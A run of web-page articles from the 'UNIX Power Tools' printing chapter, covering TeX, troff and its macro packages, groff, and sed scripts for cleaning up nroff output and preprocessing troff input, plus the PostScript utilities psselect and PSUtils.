I think TeX's biggest drawback is its error messages. troff has virtually no error messages. But TeX's error messages are incomprehensible or misleading, and I think that's worse. TeX messages typically complain about something going wrong inside a macro package. So you get an error message about a line of code that you've never seen. Yes, your input did cause the error - but, unless you know in detail how TeX works, you may never figure out why. Another drawback: TeX gives you incredible flexibility. Unfortunately, you get altogether too much flexibility, and this gives people who are long on intellect but short on good taste the ability to create horrendously ugly output. There's no need for anyone to play with the algorithm for putting spaces between letters or words. In short: it's possible to create beautiful documents with TeX, but it's very easy to create ugly ones.

TeX's biggest advantage is that it's distributed for free by the American Mathematical Society. So if you need a low-cost typesetting solution, it's definitely worth considering. [There are also commercial versions available. These may be preferable on the strength of their technical support. -EK ] O'Reilly & Associates has a Nutshell Handbook, Making TeX Work, that shows how to combine TeX with other packages to do what you need.

43.12.3 Scribe

A few words on Scribe, only because I really thought it was a good tool. Scribe was another "batch" typesetting system, like TeX and troff. However, the authors of Scribe had a great knack for hiding complexity from the mortal user. Someone with no technical training could make good-looking documents very quickly.

Scribe was horribly overpriced, and never (to my knowledge) priced realistically for workstations. (I'm sure I'll hear if this is untrue!) This limited its acceptance in the workstation market.

43.12.4 WYSIWYG Document Processors

In the last decade, we've been bombarded with WYSIWYG documentation tools. WYSIWYG stands for "What You See Is What You Get," and means that your workstation or X terminal (1.31) displays a realistic approximation of the printed document on the screen. When you make changes, you get immediate feedback on what happened; you don't have to wait for the document to come out of the printer. Such tools are very good for drawings and illustrations. They aren't quite as good at handling equations, but some of them have special equation processors built-in. The drawback of the WYSIWYG is (of course) that you can't use a WYSIWYG processor effectively on an ASCII terminal.

We've tried several of the major WYSIWYG packages for UNIX, and we use a couple of them at O'Reilly & Associates. In terms of features, they tend to leap-frog one another. In my opinion, a lot of these features (like self-modifying, or "live," documents) exist mostly for marketing value. They're surprisingly weak at handling large (book-length) documents; yes, they can do it, but the battle-scarred batch tools (Scribe, TeX, and troff) do as good a job, or better.

The WYSIWYG packages are arguably easier to learn than the batch-oriented typesetters. However, it's easy to overstate the advantages of a graphical interface. While they're certainly easier to learn than troff or TeX, I'm not sure how either would stack up against a well-designed batch document processor, like Scribe.

WYSIWYG processors are all added-cost products; they can be quite expensive. I'm not aware of any public domain or "free" tools, though such may exist.

- ML

Previous: 43.11 Big Letters: banner | UNIX Power Tools | Next: 43.13 The Text Formatters nroff, troff, ditroff, ...
43.11 Big Letters: banner | Book Index | 43.13 The Text Formatters nroff, troff, ditroff, ...
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.13 The Text Formatters nroff, troff, ditroff, ...

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.12 Typesetting Overview Chapter 43
Printing 		Next: 43.14 nroff/troff and Macro Packages

43.13 The Text Formatters nroff, troff, ditroff, ...

Have you used a WYSIWYG (What You See Is What You Get) desktop publishing program like FrameMaker, WordPerfect, Interleaf, and so on? Then you might not have much experience with the original UNIX formatters, nroff and troff.

Instead of showing a picture of the completed document on your screen as you type, these formatters read a source file full of text and special formatting commands. The formatted output goes into a file (text, PostScript, or some other format) or straight to a printer. You create and edit the source file with any text editor (like vi). O'Reilly & Associates still uses troff to produce many of its books. For example, the start of the source file for this article looks like:

.Ah 2520 "The Text Formatters nroff, troff, ditroff, ..."
Have you used a WYSIWYG (What You See Is What You Get) desktop
publishing program  like FrameMaker, WordPerfect, Interleaf and so on?
Then you might not have much experience with the original UNIX
formatters, \fInroff\fP and \fItroff\fP.
.LP
Instead of showing a picture of the completed document on your
screen as you type, these formatters read a \fIsource file\fP full
...

You might wonder, "Why use these dinosaurs?"

  • All UNIX systems have them or can get them, so they're portable.

  • The source files are usually much smaller than WYSIWYG formatters' files.

  • The source files are plain text with no non-printable characters; they're easy to copy from one system to another. For instance, I work on books on my DOS laptop, then transfer the files to UNIX for formatting.

  • The formatting language that's used has a powerful set of features that gives professional typesetters (like O'Reilly & Associates) excellent control over the way the output page looks.

  • You can use UNIX utilities-grep, awk, shell scripts, and many others - to process the text. This adds even more power to the formatting setup. For example, that 2520 following the .Ah in the example above is the filename. Each article in this book has an arbitrary four digit filename; this is mapped into the section number printed in the margin and in all the cross references throughout the book using a system of scripts I wrote. I also built a crude outline processor so that we could control the organization of the book by changing a single file. All this was possible only because troff wasn't forced to work alone - we could apply the full power of the UNIX environment.

Batch formatters like nroff and troff aren't the answer for all formatting jobs, but they're worth looking into - especially for small or very complex jobs.

- JP

Previous: 43.12 Typesetting Overview | UNIX Power Tools | Next: 43.14 nroff/troff and Macro Packages
43.12 Typesetting Overview | Book Index | 43.14 nroff/troff and Macro Packages
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.14 nroff/troff and Macro Packages

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.13 The Text Formatters nroff, troff, ditroff, ... Chapter 43
Printing 		Next: 43.15 From a Source File to the Printer

43.14 nroff/troff and Macro Packages

nroff and troff have a set of built-in commands, but what makes them truly powerful is the ability to define macros. Think of macros as batch files or command scripts, written in nroff and troff's arcane language.

Macros are difficult to write and even harder to debug. Luckily, several macro packages are available for everyday use. Macro packages are sets of macros designed to work together. For example, manual pages for UNIX (50.1) are written with the man macro package (50.11), which is called on the command line using the -man option:

% nroff -man cat.1

We wrote this book with our own proprietary macro package which is based on ms. ms was one of the original macro packages written at Bell Labs, but it was dropped by AT&T in System V. It is still available on BSD-based systems, as is another macro package called me. The System V replacement for ms is called mm.

- LM

Previous: 43.13 The Text Formatters nroff, troff, ditroff, ... | UNIX Power Tools | Next: 43.15 From a Source File to the Printer
43.13 The Text Formatters nroff, troff, ditroff, ... | Book Index | 43.15 From a Source File to the Printer
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.15 From a Source File to the Printer

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.14 nroff/troff and Macro Packages Chapter 43
Printing 		Next: 43.16 groff

43.15 From a Source File to the Printer

The path from a TeX or troff source file to your printer is surprisingly complex. It's often useful to know exactly what is happening. It isn't knowledge that will help you "do anything" (i.e., you won't be able to make fancier documents), but it will come in handy - particularly when something goes wrong.

For TeX and troff, the processing is surprisingly similar, as shown in Figure 43.1.

Figure 43.1: Processing Path for TeX or troff Source File

You start with a source file, containing your text and markup. First, it's processed by one or more preprocessors to handle figures, tables, and so on. Preprocessors are essential to troff; they aren't used that often with TeX, but they do exist. What a preprocessor does is provide a simpler language for formatting complex elements like tables, equations, or figures; the preprocessor interprets this language, and outputs the low-level troff requests needed to implement the desired result.

The most commonly used preprocessors are listed in Table 43.1

Table 43.1: Common troff and TeX Preprocessors
Name | Used with | Function
pic | troff | Illustrations
grap | troff | Graphs; not frequently used
tbl | troff | Tables
eqn | troff | Equations
tpic | TeX | Illustrations; equivalent to pic

After going through the preprocessors, you're left with a "pure" document that consists of basic commands and macros. This is fed into the TeX or troff processor, which starts by adding a "macro definition file" to the beginning of your text. The processor then produces a device independent file; this is a generic representation of your document in terms of low-level commands. You can't do much with device-independent output except (possibly) inspect it for bugs.

Before going on, a word about macro files. A macro file is nothing more than a file of troff or TeX commands that defines macros, sets up page borders, headers, footers, and so on. Basically, a macro file defines the look of your document, together with any "high-level" (e.g., paragraph or heading) commands that you use. For troff, these files are kept in the directory /usr/lib/tmac and have filenames like tmac.name; when you invoke troff, you give the option -mname to select a macro package.

Since the macro file is nothing more than another file of troff commands, there's no reason you can't just stick it onto the front of your source file. That is, the command:

;
% cat /usr/lib/tmac/tmac.s myfile.ms > foo.ms; troff foo.ms

is completely equivalent to troff -ms foo.ms.

Why would you want to insert the macro file "by hand"? You usually don't; but if you're debugging a new macro file, or if you're defining one or two special macros for your own purposes, adding the macros by hand can be a useful trick.

After troff or TeX has finished grinding your file into dust, you're left with a device independent (or DVI) file. I'm really stretching terminology here, but (conceptually) this is the right way to think. The problem is that there are two versions of troff: device independent troff, or ditroff, and "old" troff. ditroff is the only one that really generates device independent output: generic output that can easily be translated into a file for any printer. The old troff generates output for a C/A/T phototypesetter, an archaic beast that probably exists only in museums. C/A/T output is not device independent at all: it reflects lots of C/A/T idiosyncracies that are a pain to deal with. However, conceptually, you can think of C/A/T output as device independent output with a botched design; it's certainly independent of any device you're likely to see! :-)

The concept of device independent output really originated with TeX; TeX's DVI files are very well defined and quite elegant. Unfortunately, they're completely different from ditroff 's DVI files. And if you're using some "third-party" version of troff, like SoftQuad's sqtroff or the FSF's groff, you probably have yet another kind of device independent output to deal with. Although they sound like they're standardized, device independent formats aren't.

At any rate, once your processor is finished, its device independent output (of whatever type) needs to be converted to commands for your printer. This is done by a postprocessor. The name of the postprocessor depends entirely on what kind of printer you're using, which version of TeX or troff you're using, and where you bought your software. One such program is psroff, which is part of Adobe's transcript package; it converts ditroff output to PostScript.

Although this may seem complex, most of this is invisible to you; most often, you'll invoke troff through a script that will handle all the postprocessing (and possibly even the preprocessing) for you. However, when you need to debug something that isn't working, there's no substitute for understanding the machinery.

- ML

Previous: 43.14 nroff/troff and Macro Packages | UNIX Power Tools | Next: 43.16 groff
43.14 nroff/troff and Macro Packages | Book Index | 43.16 groff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.16 groff

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.15 From a Source File to the Printer Chapter 43
Printing 		Next: 43.17 Don't Have nroff? Try gnroff or awf

43.16 groff

troff (43.12) was originally designed for a now-obsolete typesetter. One of the main limitations of this typesetter was that it could only use a total of four fonts on the same page - usually the Roman, Bold, and Italic versions of the same typeface, plus a special font that included math characters and various other symbols. It doesn't let you do things like you see on these pages, which typically include seven or eight fonts: the four listed above, plus a completely different typeface for the headings, plus a constant width font (with bold and italic variations) for use in showing scripts and examples.

The original troff was replaced with a device independent version called ditroff (43.15), which addressed these limitations and added a lot of other new features as well. Unfortunately, on UNIX systems prior to System V Release 4, ditroff was unbundled from UNIX and sold as a separate product, so all that some systems offer is the old version.

groff
 Fortunately, there is a solution. The Free Software Foundation's groff has all of the nice features of ditroff. It also includes postprocessors that convert its device independent output (43.15) to PostScript.

- TOR

Previous: 43.15 From a Source File to the Printer | UNIX Power Tools | Next: 43.17 Don't Have nroff? Try gnroff or awf
43.15 From a Source File to the Printer | Book Index | 43.17 Don't Have nroff? Try gnroff or awf
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.17 Don't Have nroff? Try gnroff or awf

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.16 groff Chapter 43
Printing 		Next: 43.18 How nroff Makes Bold and Underline; How to Remove It

43.17 Don't Have nroff? Try gnroff or awf

Some UNIX systems are distributed without nroff. Your operating system vendor may sell nroff separately as part of a text formatting package that isn't included with the base operating system. Or your operating system vendor may not provide nroff at all, meaning that you'd need to buy it from a third-party vendor such as Elan or SoftQuad. For systems without nroff installed, manual pages are supplied in a formatted (cat) form so that users can still read them without nroff.

The problem arises when you want to install third-party packages, either commercial or public domain, which don't supply formatted versions of their documentation. You can try to weed through nroff source, but you'd be better off if you could get a working version of nroff.

gnroff
 The Free Software Foundation version of nroff, gnroff, is on the CD-ROM.
awf
Another alternative is awf, an awk-based version of nroff. awf doesn't provide anywhere near all the functionality of nroff, but it does a pretty good simulation, and it's a very clever idea.

awf recognizes both man and ms macros. To use it, you need to supply the macro package on the command line (as you would for nroff):

% awf -man cat.1

- LM

Previous: 43.16 groff | UNIX Power Tools | Next: 43.18 How nroff Makes Bold and Underline; How to Remove It
43.16 groff | Book Index | 43.18 How nroff Makes Bold and Underline; How to Remove It
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.18 How nroff Makes Bold and Underline; How to Remove It

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.17 Don't Have nroff? Try gnroff or awf Chapter 43
Printing 		Next: 43.19 Removing Leading Tabs and Other Trivia

43.18 How nroff Makes Bold and Underline; How to Remove It

The UNIX formatter nroff produces output for line printers and CRT displays. To achieve such special effects as emboldening, it outputs the character followed by a backspace and then outputs the same character again. A sample of it viewed with a text editor or cat -v (25.7) might look like:

N^HN^HN^HNA^HA^HA^HAM^HM^HM^HME^HE^HE^HE

which emboldens the word "NAME." There are three overstrikes for each character output. Similarly, underlining is achieved by outputting an underscore, a backspace, and then the character to be underlined. Some pagers, such as less (25.4), take advantage of overstruck text. But there are many times when it's necessary to strip these special effects; for example, if you want to grep through formatted man pages (as we do in article 50.3). There are a number of ways to get rid of these decorations. The easiest way to do it is to use a utility like col, colcrt, or ul:

  • With col, use the command:

    % col -b < nroffoutput > strippedoutput

    The -b option tells col to strip all backspaces (and the character preceding the backspace) from the file. col doesn't read from files; you need to redirect input from a pipe-or, as above, with the shell < (13.1) file-redirection character. col is available on System V and BSD UNIX. Under System V, add the -x option to avoid changing spaces to TABs.

  • With colcrt, use a command like:

    % colcrt - nroffoutput > strippedoutput

    The - (dash) option (yes, that's an option) says "ignore underlining." If you omit it, colcrt tries to save underlining by putting the underscores on a separate line. For example:

    Refer to Installing System V for information about
         ---------- ------ -
installing optional software.

    colcrt is only available under BSD; in any case, col is probably preferable.

  • ul reads your TERM environment variable, and tries to translate backspace (underline and overstrike) into something your terminal can understand. It's used like this:

    % ul nroffoutput

    The -t term option lets you specify a terminal type; it overrides the TERM (5.10) variable. I think that ul is probably the least useful of these commands; it tries to be too intelligent, and doesn't always do what you want.

Both col and colcrt attempt to handle "half linefeeds" (used to print superscripts and subscripts) reasonably. Many printers handle half linefeeds correctly, but most terminals can't deal with them.

Here's one other solution to the problem: a simple sed (34.24) script. The virtue of this solution is that you can elaborate on it, adding other features that you'd like, or integrating it into larger sed scripts. The following sed command removes the sequences for emboldening and underscoring:

s/.^H//g

It removes any character preceding the backspace along with the backspace itself. In the case of underlining, "." matches the underscore; for emboldening, it matches the overstrike character. Because it is applied repeatedly, multiple occurrences of the overstrike character are removed, leaving a single character for each sequence. Note that ^H is the single character CTRL-h. If you're a vi user, enter this character by typing CTRL-v followed by CTRL-h (31.6). If you're an emacs user, type CTRL-q followed by CTRL-h (32.10).

- DD, ML

Previous: 43.17 Don't Have nroff? Try gnroff or awf | UNIX Power Tools | Next: 43.19 Removing Leading Tabs and Other Trivia
43.17 Don't Have nroff? Try gnroff or awf | Book Index | 43.19 Removing Leading Tabs and Other Trivia
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.19 Removing Leading Tabs and Other Trivia

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.18 How nroff Makes Bold and Underline; How to Remove It Chapter 43
Printing 		Next: 43.20 Displaying a troff Macro Definition

43.19 Removing Leading Tabs and Other Trivia

In article 43.18 we discussed several techniques for removing overstriking and underlining from nroff output. Of course, that's not the only problem you'll face when you're working with nroff. Here are some more postprocessing tricks for nroff files.

You may also want to remove strange escape sequences that produce formfeeds or various other printer functions. For example, you sometimes see the sequence ^[9 at the top of the formatted manual page. This escape sequence can be removed with the sed command:

s/^[9//g

The ESC character is entered in vi by typing CTRL-v (31.6) followed by the ESC key. In Emacs, use CTRL-q ESC (32.10). The number 9 is literal.

The typical manual page also uses leading spaces to establish the left margin and to indent most of the text. On further inspection, you'll see that leading spaces precede headings (such as "NAME"), but a single tab precedes each line of text. Tabs may also appear unexpectedly in the text. Of course, using TABs wherever possible is a good idea on the whole; on a mechanical printer, and even on modern CRT displays, it's much quicker to print a TAB than to move the cursor over several spaces. However, the TABs can cause trouble if your printer (or terminal) isn't set correctly, or when you're trying to search for something in the text.

To eliminate the left margin and the unwanted TABs, use the following two sed commands:

s/^[ [TAB]]*//
s/[TAB]/ /g

The first command looks for any number of TABs or spaces at the beginning of a line. The second command looks for a tab and replaces it with a single space.

Now, let's put all these pieces together - including the script to strip underlines and overstrikes (from article 43.18). Here's a script called sedman that incorporates all of these tricks.

#!/bin/sed -f
#sedman - deformat nroff-formatted man page
s/.^H//g
s/^[9//g
s/^[ [TAB]]*//
s/[TAB]/ /g

Running this script on a typical manual page produces a file that looks like this:

who                                                     who

NAME
who - who is on the system?

SYNOPSIS
who [-a] [-b] [-d] [-H] [-l] [-p] [-q] [-r] [-s] [-t] [-T]
[-u] [file]

who am i

DESCRIPTION
who can list the user's name, terminal line, login time,
elapsed time since activity occurred on the line, and the
...

This doesn't eliminate the unnecessary blank lines caused by paging. See articles 34.18, 25.11, and 25.10 for help with that.

- DD, ML

Previous: 43.18 How nroff Makes Bold and Underline; How to Remove It | UNIX Power Tools | Next: 43.20 Displaying a troff Macro Definition
43.18 How nroff Makes Bold and Underline; How to Remove It | Book Index | 43.20 Displaying a troff Macro Definition
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.20 Displaying a troff Macro Definition

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.19 Removing Leading Tabs and Other Trivia Chapter 43
Printing 		Next: 43.21 Preprocessing troff Input with sed

43.20 Displaying a troff Macro Definition

If you're writing or debugging troff macros (43.13), you often need to review the contents of a macro. Rather than searching through the macro definition files with an editor, it is relatively easy to construct a small script that uses sed (34.24) and the shell to extract and display a single macro.

The script is easy to construct because the macro definitions have a regular structure that lends itself to easy identification with the regular expressions (26.4) used by sed. A troff macro definition always begins with the string .de, followed by an optional space and the one- or two-letter name of the macro. The definition ends with a line beginning with two dots (..).

troff macros are defined in a macro package, often a single file that's located in a directory such as /usr/lib/tmac. The most common macro packages are mm, ms and me-though it is unlikely that a given system will have all three. mm is generally found on System V-derived systems, and ms and me on BSD-derived systems. The man macros are found on just about all systems because they are used by the man command (50.1).

Here's an example:

% getmac -ms LP
.\"
.\" The following definition of LP was found in /usr/lib/tmac/tmac.s:
.\"
.de LP
.RT
.if \\n(1T .sp \\n(PDu

.ti \\n(.iu
..

The getmac script is below. For those unfamiliar with sed, there are comments in the script on the CD-ROM (and in the online archive file):

#!/bin/sh
# Usage: getmac -package macro
case $1 in
-mm) file="/usr/lib/macros/mmt";;
-ms) file="/usr/lib/tmac/tmac.s";;
-me) file="/usr/lib/tmac/tmac.e";;
-man) file="/usr/lib/tmac/tmac.an";;
*) echo "Usage: getmac -package macro" 1>&2; exit 1;;
esac
mac=$2

sed -n '
/^\.de *'$mac'/,/^\.\.$/ {
   /^\.de/i\
.\\"\
.\\" The following definition of '$mac' was found in '$file':\
.\\"
   p
   /^\.\.$/q
}' $file

- TOR, JP

Previous: 43.19 Removing Leading Tabs and Other Trivia | UNIX Power Tools | Next: 43.21 Preprocessing troff Input with sed
43.19 Removing Leading Tabs and Other Trivia | Book Index | 43.21 Preprocessing troff Input with sed
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.21 Preprocessing troff Input with sed

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.20 Displaying a troff Macro Definition Chapter 43
Printing 		Next: 43.22 Converting Text Files to PostScript

43.21 Preprocessing troff Input with sed

On a typewriter-like device (including a CRT), an em-dash is typed as a pair of hyphens (--). [2] In typesetting, it is printed as a single, long dash ( - ). troff provides a special character name for the em-dash, but it is inconvenient to type \ - , and the escape sequence is also inappropriate for use with nroff.

[2] Typists often use three hyphens (---) for an em-dash, and two (--) for the shorter en-dash.

Similarly, a typesetter provides "curly" quotation marks (" and ") as opposed to a typewriter's straight quotes (<">). In standard troff, you can substitute two backquote characters (") for open quote and two frontquote characters (") for closed quote; these characters would appear as " and ". But it would be much better if we could just continue to type in <"> and have the computer do the dirty work.

A peculiarity of troff is that it generates the space before each word in the font used at the beginning of that word. This means that when we mix a constant-width font such as Courier within text, we get a noticeably large space before each word, which can be distracting for readers - for example: The following text is in Courier; note the spaces. The fix for this is to force troff to generate the space in the previous font by inserting a no-space character (\&) before each constant-width font change. As you can imagine, this can turn into a large undertaking.

The solution for each of these problems is to preprocess troff input with sed (34.24). This is an application that shows sed in its role as a true stream editor, making edits in a pipeline - edits that are never written back into a file.

We almost never invoke troff directly. Instead, we invoke it with a script that strings together a pipeline including the standard preprocessors (when appropriate) as well as doing this special preprocessing with sed.

The sed commands themselves are fairly simple.

The following command changes two consecutive dashes into an em-dash:

s/-/\\(em/g

We double the backslashes in the replacement string for \ - , since the backslash has a special meaning to sed.

However, there may be cases in which we don't want this substitution command to be applied. What if someone is using hyphens to draw a horizontal line? We can refine the script to exclude lines containing three or more consecutive hyphens. To do this, we use the ! address modifier (34.19):

/--/!s/-/\\(em/g

It may take a moment to penetrate this syntax. What's different is that we use a pattern address to restrict the lines that are affected by the substitute command, and we use ! to reverse the sense of the pattern match. It says, simply, "If you find a line containing three consecutive hyphens, don't apply the edit." On all other lines, the substitute command will be applied.

Similarly, to deal with the font change problem, we can use sed to search for all strings matching \f(CW, \f(CI, and \f(CB, and insert \& before them. This can be written as follows:

s/\\f(C[WIB]/\\\&&/g

To deal with the open and closed quote problem, the script needs to be more involved because there are many separate cases that must be accounted for. You need to make sed smart enough to change double quotes to open quotes only at the beginning of words and to change them to closed quotes only at the end of words. Such a script might look like the one below, which obviously could be shortened by judicious application of \([...]\) (34.10) regular expression syntax, but it is shown in its long form for effect.

s/^"/``/
s/"$/''/
s/"? /''? /g
s/"?$/''?/
s/ "/ ``/g
s/" /'' /g
s/[TAB]"/[TAB]``/g
s/"[TAB]/''[TAB]/g
s/")/'')/g
s/"]/'']/g
s/("/(``/g
s/\["/\[``/g
s/";/'';/g
s/":/'':/g
s/,"/,''/g
s/",/'',/g
s/\."/.\\\&''/g
s/"\./''.\\\&/g
s/"\\(em/''\\(em/g
s/\\(em"/\\(em``/g

cleanup.sed
 The preceding code shows the kind of contortions you need to go through to capture all the possible situations in which quotation marks appear. The solution to the other problems mentioned earlier in the article is left for your imagination. If you prefer, a more complete "typesetting preprocessor" script written in sed, and suitable for integration into a troff environment (perhaps with a bit of tweaking), can be found on the disc.

In addition to the changes described above, it tightens up the spacing of ellipses (...), and doesn't do anything between certain pairs of troff macros (34.19).

- TOR,

Previous: 43.20 Displaying a troff Macro Definition | UNIX Power Tools | Next: 43.22 Converting Text Files to PostScript
43.20 Displaying a troff Macro Definition | Book Index | 43.22 Converting Text Files to PostScript
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.22 Converting Text Files to PostScript

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.21 Preprocessing troff Input with sed Chapter 43
Printing 		Next: 43.23 psselect: Print Some Pages from a PostScript file

43.22 Converting Text Files to PostScript

Printing used to be easy; when all we had were daisy wheel printers and line printers, you could send virtually any text file to a printer without modification. That's no longer possible; fancy "printer languages" like PostScript force you to do a fair amount of processing to get a simple text into some form that the printer can understand.

As always, there are several ways to solve this problem. The first is gross and disgusting, but quite effective. Assume that you have a working version of troff with the -ms macros. Here's the script:

# the name of the script that runs troff for you
roff=lw
# choose your favorite macro package
macros=-ms
sed -e '
1i\
.DS
.in 0\
.ft CW\
.ps 10\
.vs 12
s/\\/\\e/g
s/^/\\\&/
$a\
.DE ' | $roff $macros

How does it work? It just "wraps" your text with a troff incantation that prints the text in a fixed-width font, with no "justification" or "fill." It relies on the ms macro package to handle margins, new lines, page numbers, and so on. The sed script also massages your file so that it will print anything that troff finds confusing - in particular, backslashes and lines beginning with periods or single quotation marks. In fact, it can even print a troff macro package; if memory serves me, that's why I originally wrote it.

I like this because it works as well as any other solution I've seen, and better than most; it's extremely simple; and, because it uses UNIX tools to do the work they were designed to do, it's a good demonstration of the UNIX philosophy. It's even elegant in its own bizarre way. And, if you know a little bit (not much) about troff, you can customize it for your own situation.

However, there are other solutions. Perhaps the best is to use the enscript program, which is part of Adobe's transcript package. That's proprietary software, so we can't include it with this book. But at least we can point you in the right direction.

pstext
 One option that's "free" is Dan Judd's pstext program. Though it's small, it provides a lot of features. It emulates a standard line printer: it interprets form feeds as page breaks, handles backspaces and tabs appropriately, lets you vary the margin, the number of lines per page, and so on. Here's how to use it:

lpr
% pstext options file1 file2 ... | lpr

There are a zillion options, but the most important are:

-l

Print "landscape" (across the page, the long way); by default, printing is "portrait" (down the page).

-ld

Print landscape, "two-up" (two logical pages per physical page)-not too useful, unless your source file has short lines.

-d

Print portrait, "two up."

-s p

Use a font of size p (in points).

-f name

Use the font with the given name.

-n n

Print n lines per page.

- ML

Previous: 43.21 Preprocessing troff Input with sed | UNIX Power Tools | Next: 43.23 psselect: Print Some Pages from a PostScript file
43.21 Preprocessing troff Input with sed | Book Index | 43.23 psselect: Print Some Pages from a PostScript file
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.23 psselect: Print Some Pages from a PostScript file

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.22 Converting Text Files to PostScript Chapter 43
Printing 		Next: 43.24 Other PostScript Utilities

43.23 psselect: Print Some Pages from a PostScript file

The psselect program allows you to take a PostScript file and select individual pages for printing. It's part of Angus Duggan's PSUtils collection, a group of utilities for working with PostScript files. psselect produces a second PostScript file, which you can print using lpr or lp (43.2) (if your printer handles PostScript). It's easy to use; in the simplest form, just type:

% psselect -p page-spec input output

where the page-spec is a comma-separated string of page numbers and/or ranges of page numbers separated by a dash. Pages are counted from 1 (the first page of the document), or prepend an underscore (_) to make a page number relative to the end of the document, counting backwards. psselect doesn't try to detect and decode any "page numbers" that may be part of your document. For example, to select pages 1 through 16 of the file book.ps, type:

% psselect -p1-16 book.ps first16.ps

Use -e to print only the even-numbered pages or -o to print the odd-numbered pages. (If you use -e or -o, -p is also required.) Add the -r option if you want to reverse the order in which pages are printed.

psselect only works on PostScript files that conform to the Adobe Document Structuring Conventions. I won't elaborate on those conventions, but I will say that PostScript files that obey these conventions are the exception, rather than the rule. Unfortunately, the PostScript language is entirely too flexible; it's impossible to write fully general programs for extracting pages (and the like) without processing the entire language.

Fortunately, Angus has written a few scripts that convert PostScript files generated by various word processors into a form that he can deal with. These filters are all written in the perl language (37.1); here's a quick summary of what's available:
Name | Function
fixdlsrps | Fix DviLaser/PS files
fixfmps | Fix FrameMaker files
fixmacps | Fix Macintosh files
fixpsditps | Fix TranScript psdit files
fixpspps | Fix PSPrint files
fixscribeps | Fix Scribe files
fixtpps | Fix Tpscript files
fixwfwps | Fix Word for Windows files
fixwpps | Fix WordPerfect files
fixwwps | Fix Windows Write files
So to get the odd-numbered pages of a document called fmdoc.ps, which was generated with FrameMaker, give this command:

% fixfmps < fmdoc.ps | psselect -o -p1- > oddpages.ps

- ML, JP, AD

Previous: 43.22 Converting Text Files to PostScript | UNIX Power Tools | Next: 43.24 Other PostScript Utilities
43.22 Converting Text Files to PostScript | Book Index | 43.24 Other PostScript Utilities
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.24 Other PostScript Utilities

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.23 psselect: Print Some Pages from a PostScript file Chapter 43
Printing 		Next: 43.25 The Portable Bitmap Package

43.24 Other PostScript Utilities

PSUtils
Angus Duggan's PSUtils package contains several interesting tools in addition to psselect (43.23). They're a bit more esoteric, but they can be very useful in some situations: for example, if you're printing a brochure or a bulletin, these tools help to automate the task. We'll only summarize them quickly; you can look at Angus's manual pages for detailed information.
epsffit

Fits an EPSF file -capsulated PostScript) to a given bounding box. epsffit can center the image, rotate it, adjust the aspect ratio, and add showpage to make it print.

extractres

Extracts resources (fonts, procsets, patterns, files, etc.) from a PostScript document into separate files, replacing them with appropriate %%IncludeResource comments in the document prologue. This makes it safe to rearrange the document with psnup or pstops.

includeres

Includes resources (fonts, procsets, patterns, files, etc.) indicated by the %%IncludeResource comments in a PostScript document. (See extractres above.)

psbook

Rearranges files in a PostScript document into "signatures"; that is, rearranges pages so that folding them "naturally" will result in a book or pamphlet.

psmerge

Merges PostScript documents into a single document. It only works in specific cases: documents created by the same application, with the same device setup and resources loaded.

psnup

Rearranges a PostScript document so that it prints several pages on each sheet of paper, scaling and orienting the pages appropriately for a booklet. Together with psbook, psnup makes production of a booklet (or even a moderate-sized book) relatively easy.

As with psbook, you may need a preprocessor like fixfmps (43.23) to put the PostScript file into an acceptable form.

psresize

Rescales and centers a document on a different size of paper. For example, it converts an American letter-size document to A4 size paper.

pstops

A general utility for rearranging pages in a PostScript document. You can select individual pages, put several pages on an individual page with different orientations, and so on.

- JP, ML, AD

Previous: 43.23 psselect: Print Some Pages from a PostScript file | UNIX Power Tools | Next: 43.25 The Portable Bitmap Package
43.23 psselect: Print Some Pages from a PostScript file | Book Index | 43.25 The Portable Bitmap Package
